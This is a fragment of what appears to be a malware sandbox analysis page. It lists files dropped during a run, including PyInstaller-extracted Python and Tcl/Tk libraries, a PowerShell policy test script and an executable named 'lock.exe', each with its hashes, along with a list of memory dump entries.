SSDEEP 384:2nypDwZH1XYEMXvdQOsNFYzsQDELCvURDa7qscTHstU0NsICwHLZxXYIoBneEAR8:2l0Vn5Q28J8qsqMttktDxOpWDG4yKRF
TLSH
T1CFE26B0B665059F0FA57C43A9766DE2AD73676301350A2CF02F5C2A62F5BBE0A63D209
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python310.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI57122\python310.dll
Size 4.3MB
SHA256 14b06796f288bc6599e458fb23a944ab0c843e9868058f02a91d4606533505ed
MD5 63a1fa9259a35eaeac04174cecb90048
SHA1 0dc0c91bcd6f69b80dcdd7e4020365dd7853885a
SHA512 896caa053f48b1e4102e0f41a7d13d932a746eea69a894ae564ef5a84ef50890514deca6496e915aae40a500955220dbc1b1016fe0b8bcdde0ad81b2917dea8b
SSDEEP 49152:myrXfGIy+Bqk5c5Ad2nwZT3Q6wsV136cR2DZvbK30xLNZcAgVBvcpYcvl1IDWbH3:Uw5tVBlicWdvoDkHUMF7Ph/qe
TLSH
T102267C26A36401A4D9B79477C523864BCBF1FC442F24D34A41A4BAD92F73BA317EE706
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

select.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI57122\select.pyd
Size 29KB
SHA256 db85f2f94d4994283e1055057372594538ae11020389d966e45607413851d9e9
MD5 a653f35d05d2f6debc5d34daddd3dfa1
SHA1 1a2ceec28ea44388f412420425665c3781af2435
SHA512 5aede99c3be25b1a962261b183ae7a7fb92cb0cb866065dc9cd7bb5ff6f41cc8813d2cc9de54670a27b3ad07a33b833eaa95a5b46dad7763ca97dfa0c1ce54c9
SSDEEP 768:gUC2hwhVHqOmEVILQG35YiSyvrYPxWEl6:FC2ehVKOmEVILQGp7SyEPxe
TLSH
T1FED2AF47AB506C42D8238572A4D68E16E935B6A14B20C3DF332DC26D1F227C277BB36D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tcl86t.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI57122\tcl86t.dll
Size 1.8MB
SHA256 fbfd065f861ec0a90dd513bc209c56bbc23c54d2839964a0ec2df95848af7860
MD5 75909678c6a79ca2ca780a1ceb00232e
SHA1 39ddbeb1c288335abe910a5011d7034345425f7d
SHA512 91689413826d3b2e13fc7f579a71b676547bc4c06d2bb100b4168def12ab09b65359d1612b31a15d21cb55147bbab4934e6711351a0440c1533fb94fe53313bf
SSDEEP 24576:aNJSAyrJZwdI3xpXxBX4Crw9yilqy+uVUD5Wbsr+Qt682zhPlkPkGqTvI92jHBH9:aNgjid2LD5W4ac6xdLvIkhHP4ATdeD0
TLSH
T1A785AF1BEB6411E8D4ABD1BCC227EA0BDBF1B4191350A6DB51A08F512F23FE1277A345
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tk86t.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI57122\tk86t.dll
Size 1.5MB
SHA256 cd2f60075064dfc2e65c88b239a970cb4bd07cb3eec7cc26fb1bf978d4356b08
MD5 4b6270a72579b38c1cc83f240fb08360
SHA1 1a161a014f57fe8aa2fadaab7bc4f9faaac368de
SHA512 0c81434d8c205892bba8a4c93ff8fc011fb8cfb72cfec172cf69093651b86fd9837050bd0636315840290b28af83e557f2205a03e5c344239356874fce0c72b9
SSDEEP 24576:C1Bvnu8AyQD9FLi543GLUKuPO6EinYTVAiueFoC+vMvE58KOJ0wd98ydeyRP/ecr:CIyQD9FU43GLUKuPO6EinYTVAFSvESKI
TLSH
T178655B06A261C198C26EE134C91796BAEBF17C04931457DB76A0BE6D3F33BD2277A314
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ucrtbase.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI57122\ucrtbase.dll
Size 1.1MB
SHA256 c04daeba7e7c4b711d33993ab4c51a2e087f98f4211aea0dcb3a216656ba0ab7
MD5 3b337c2d41069b0a1e43e30f891c3813
SHA1 ebee2827b5cb153cbbb51c9718da1549fa80fc5c
SHA512 fdb3012a71221447b35757ed2bdca6ed1f8833b2f81d03aabebd2cd7780a33a9c3d816535d03c5c3edd5aaf11d91156842b380e2a63135e3c7f87193ad211499
SSDEEP 24576:CJG2BrB3ZQAq0AT2jS9HKHdK6AccMs1wmxvSZX0ypFi:0VGrT6SAk3ei
TLSH
T1EC359D64B76C02A9C97BE13DC927554AFA73380147709ACB03E74AB93E2B7E552B7310
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

unicodedata.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI57122\unicodedata.pyd
Size 1.1MB
SHA256 1fb2d66c056f69e8bbdd8c6c910e72697874dae680264f8fb4b4df19af98aa2e
MD5 81d62ad36cbddb4e57a91018f3c0816e
SHA1 fe4a4fc35df240b50db22b35824e4826059a807b
SHA512 7d15d741378e671591356dfaad4e1e03d3f5456cbdf87579b61d02a4a52ab9b6ecbffad3274cede8c876ea19eaeb8ba4372ad5986744d430a29f50b9caffb75d
SSDEEP 12288:6mwlRMmuZ63NTQCb5Pfhnzr0ql8L8kcM7IRG5eeme6VZyrIBHdQLhfFE+uQfk:ulRuUZV0m8UMMREtV6Vo4uYQfk
TLSH
T16E355909B9C24EE6E88B067940D3117B2F61C1720F1B6B4F76A5532D9C763A34EEA53C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_wzok4qfa.ryq.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wzok4qfa.ryq.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

lock.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lock.exe
Size 9.0MB
SHA256 619b573225035d7f06f10d8a700025e895088d2f0d1d9b8adecfbbe849c8d8d4
MD5 e7f26585341862d59bc240fe35884933
SHA1 3647ca8016f3818e47f57bec23ce82cfd1d42150
SHA512 ccef021e4c2b164307bb287e86d346f564b451801b124146ce7a80c96e1271d38eb70583a366b7ab3fb7b13ed691a3b1544f35508581e92bc28d23b0e3bb47ab
SSDEEP 196608:fYE50W8/LapphBjDfyGg8wBdnpkYRM0/1E3+dgSUy+g:QNW8OpjDfDg8c6qE3+d9Uy+
TLSH
T163963394778808E4E8ABA37D98C0D237A2E2B8324796D6C75BF44F112D236E4FE75351
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3260-1064-0x000001DAEAC60000-0x000001DAEAC7A000-memory.dmp

Download

memory/3260-1059-0x000001DAEA8F0000-0x000001DAEA90C000-memory.dmp

Download

memory/3260-1066-0x000001DAEAC30000-0x000001DAEAC36000-memory.dmp

Download

memory/3260-1067-0x000001DAEAC80000-0x000001DAEAC8A000-memory.dmp

Download

memory/3260-1068-0x000001DAEA5A0000-0x000001DAEA5B0000-memory.dmp

Download

memory/3260-1060-0x000001DAEA910000-0x000001DAEA9C3000-memory.dmp

Download

memory/3260-1052-0x00007FF4E7570000-0x00007FF4E7580000-memory.dmp

Download

memory/3260-1065-0x000001DAEAC20000-0x000001DAEAC28000-memory.dmp

Download

memory/3260-1063-0x000001DAEA6D0000-0x000001DAEA6DA000-memory.dmp

Download

memory/3260-1061-0x000001DAEA6C0000-0x000001DAEA6CA000-memory.dmp

Download

memory/3260-1062-0x000001DAEAC40000-0x000001DAEAC5C000-memory.dmp

Download

memory/3260-1051-0x000001DAEA5A0000-0x000001DAEA5B0000-memory.dmp

Download

memory/3260-1050-0x000001DAEA500000-0x000001DAEA522000-memory.dmp

Download

memory/3260-1043-0x000001DAEA5A0000-0x000001DAEA5B0000-memory.dmp

Download

memory/3260-1042-0x000001DAEA5A0000-0x000001DAEA5B0000-memory.dmp

Download